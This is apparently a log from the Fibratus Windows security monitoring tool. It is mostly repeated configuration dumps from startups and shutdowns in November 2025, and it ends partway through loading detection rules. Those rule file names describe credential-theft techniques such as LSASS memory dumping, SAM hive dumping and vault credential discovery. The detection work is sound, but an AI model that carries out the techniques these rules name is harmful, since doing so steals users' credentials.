routing-key=>fibratus] elasticsearch=>[ timeout=>5s template-name=>fibratus bulk-workers=>1 trace-log=>false enabled=>false healthcheck-interval=>10s sniff=>false healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus flush-period=>1s healthcheck=>true]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true excluded-files=>[] scan-timeout=>10s skip-files=>false skip-registry=>false skip-allocs=>false enabled=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T23:32:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:32:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:37:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T23:37:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:37:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:37:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T23:37:45+01:00 level=info msg=bootstrapping with pid 344. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T23:37:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 min-buffers=>16 enable-thread=>true buffer-size=>512 enable-threadpool=>false enable-fileio=>true enable-mem=>false enable-dns=>false enable-image=>true enable-registry=>true flush-interval=>1s enable-handle=>false enable-vamap=>true stack-enrichment=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info formatter=>text max-size=>100 max-backups=>15] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json timeout=>5s method=>POST enabled=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false durable=>false exchange=>fibratus vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient passive=>false enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ timeout=>5s healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s enabled=>false sniff=>false template-name=>fibratus index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false bulk-workers=>1 flush-period=>1s]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false enabled=>false skip-files=>false skip-allocs=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T23:37:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:37:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:38:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T23:38:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:38:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:38:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T23:38:49+01:00 level=info msg=bootstrapping with pid 13484. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T23:38:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ buffer-size=>512 max-buffers=>36 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-net=>true enable-threadpool=>false enable-dns=>false enable-fileio=>true stack-enrichment=>true enable-handle=>false enable-mem=>false flush-interval=>1s enable-registry=>true min-buffers=>16 enable-image=>true enable-thread=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true max-backups=>15 level=>info max-age=>0 max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false enabled=>false serializer=>json endpoints=>[] method=>POST] elasticsearch=>[ sniff=>false template-name=>fibratus enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true gzip-compression=>false index-name=>fibratus flush-period=>1s trace-log=>false] amqp=>[ url=>amqp://localhost:5672 exchange-type=>topic enabled=>false exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s delivery-mode=>transient durable=>false passive=>false]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-allocs=>false skip-registry=>false skip-mmaps=>false excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-25T23:38:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:38:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:40:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T23:40:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:40:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T23:41:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T23:41:22+01:00 level=info msg=bootstrapping with pid 16040. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T23:41:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-audit-api=>true enable-vamap=>true enable-dns=>false enable-registry=>true enable-threadpool=>false enable-image=>true stack-enrichment=>true enable-net=>true min-buffers=>16 flush-interval=>1s enable-mem=>false max-buffers=>36 buffer-size=>512 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ elasticsearch=>[ flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s template-name=>fibratus healthcheck=>true sniff=>false trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s index-name=>fibratus bulk-workers=>1 enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false enable-gzip=>false serializer=>json] amqp=>[ vhost=>/ passive=>false enabled=>false delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus durable=>false exchange-type=>topic routing-key=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] scan-timeout=>10s fastscan=>true excluded-files=>[] skip-mmaps=>false skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T23:41:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T23:41:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:00:25+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T11:00:25+01:00 level=info msg=bootstrapping with pid 6656. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T11:00:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false enable-fileio=>true buffer-size=>512 enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-handle=>false enable-net=>true enable-mem=>false flush-interval=>1s enable-thread=>true enable-image=>true max-buffers=>36 enable-vamap=>true enable-registry=>true min-buffers=>16 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text max-size=>100 log-stdout=>true level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s gzip-compression=>false timeout=>5s healthcheck=>true healthcheck-interval=>10s bulk-workers=>1 template-name=>fibratus trace-log=>false sniff=>false index-name=>fibratus] http=>[ method=>POST serializer=>json endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic routing-key=>fibratus enabled=>false passive=>false delivery-mode=>transient timeout=>5s durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false fastscan=>true skip-allocs=>false skip-files=>false excluded-procs=>[] excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T11:00:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:00:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:02:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T11:02:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T11:02:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T11:03:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T11:03:08+01:00 level=info msg=bootstrapping with pid 3316. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T11:03:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] enabled=>false use-template=>true content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-image=>true enable-audit-api=>true min-buffers=>16 stack-enrichment=>true enable-handle=>false enable-threadpool=>false enable-mem=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-vamap=>true enable-registry=>true enable-net=>true enable-dns=>false flush-interval=>1s enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 log-stdout=>true max-backups=>15 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ template-name=>fibratus sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus gzip-compression=>false flush-period=>1s timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ timeout=>5s enabled=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enable-gzip=>false method=>POST] amqp=>[ timeout=>5s durable=>false vhost=>/ exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 enabled=>false routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] scan-timeout=>10s fastscan=>true skip-files=>false enabled=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T11:03:08+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:03:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:03:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T11:03:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T11:03:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T11:03:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T11:03:44+01:00 level=info msg=bootstrapping with pid 15700. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T11:03:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-dns=>false enable-threadpool=>false enable-fileio=>true enable-mem=>false enable-image=>true flush-interval=>1s enable-thread=>true buffer-size=>512 stack-enrichment=>true enable-audit-api=>true enable-handle=>false enable-net=>true max-buffers=>36 enable-vamap=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info formatter=>text log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus vhost=>/ url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus exchange-type=>topic] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s trace-log=>false enabled=>false bulk-workers=>1 flush-period=>1s template-name=>fibratus timeout=>5s sniff=>false healthcheck-interval=>10s healthcheck=>true gzip-compression=>false] http=>[ timeout=>5s enabled=>false serializer=>json enable-gzip=>false endpoints=>[] method=>POST tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true scan-timeout=>10s skip-registry=>false skip-files=>false excluded-procs=>[] skip-mmaps=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T11:03:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:03:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:23:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T11:23:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T11:23:45+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T11:24:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T11:24:11+01:00 level=info msg=bootstrapping with pid 17900. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T11:24:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false min-buffers=>16 stack-enrichment=>true enable-image=>true buffer-size=>512 enable-audit-api=>true enable-net=>true enable-handle=>false enable-registry=>true enable-thread=>true enable-fileio=>true flush-interval=>1s enable-mem=>false enable-dns=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 formatter=>text level=>info max-size=>100 log-stdout=>true] + output ......................... [ amqp=>[ exchange=>fibratus passive=>false enabled=>false url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/ durable=>false timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false delivery-mode=>transient] elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s enabled=>false trace-log=>false bulk-workers=>1 healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus sniff=>false template-name=>fibratus healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST enabled=>false serializer=>json endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false fastscan=>true excluded-files=>[] skip-mmaps=>false enabled=>false scan-timeout=>10s skip-files=>false skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T11:24:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T11:24:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:16:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:16:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:16:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:23:11+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:23:11+01:00 level=info msg=loading rule from 